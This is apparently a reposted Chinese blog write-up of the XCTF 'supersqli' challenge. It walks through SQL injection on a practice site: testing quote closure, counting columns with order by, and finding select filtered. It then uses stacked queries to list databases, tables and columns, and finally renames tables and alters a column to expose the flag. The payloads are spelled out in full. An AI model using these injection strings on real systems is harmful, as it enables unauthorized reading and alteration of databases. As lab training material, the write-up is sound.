自学内容网 自学内容网

攻防世界web新手第五题supersqli

在这里插入图片描述
这是题目,题目看起来像是sql注入的题,先试一下最常规的,输入1,回显正常
在这里插入图片描述
输入1‘,显示错误
在这里插入图片描述
尝试加上注释符号#或者–+或者%23(注释掉后面语句,使1后面的单引号与前面的单引号成功匹配就不会报错)页面回显正常,那么闭合符号就是单引号。
输入1#
在这里插入图片描述
正常回显,可以得出结论注入类型为字符型,构造?inject=1’ --+
在这里插入图片描述

证实了闭合方式为单引号,接下来判断列数,构造:1’ order by 2 --+
在这里插入图片描述
正常回显,再构造1’ order by 3 --+
在这里插入图片描述
显示没有第三列,得出结论,只有两列

再尝试联合查询,构造1’ union select 1,2 --+
在这里插入图片描述
显示被过滤,说明不能用select获取,那只能尝试堆叠注入:
构造1’; show databases; --+
在这里插入图片描述
得到数据库的信息,看到了supersqli,再查表的信息,构造1’; show tables; --+
得到在这里插入图片描述
再查列名
构造1’; show columns from words;–+
在这里插入图片描述
没有关键信息
用其他表试下:
构造1’;use supersqli;show columns from 1919810931114514;–+
在这里插入图片描述
得到flag信息,由于select被过滤,无法直接查询,所以又要考虑绕过方式了
考虑用rename改变表名,通过上面我们可以知道,回显的表是words表,因为当我们提交1的时候回显的是words表中的内容,

所以现在需要把表1919810931114514改名为words并增加相应字段,把words改为其他名字
构造:1’;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);–+
修改完成后,再注入
构造1’ or 1=1#
在这里插入图片描述

得到flag


原文地址:https://blog.csdn.net/ren186/article/details/144770137

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!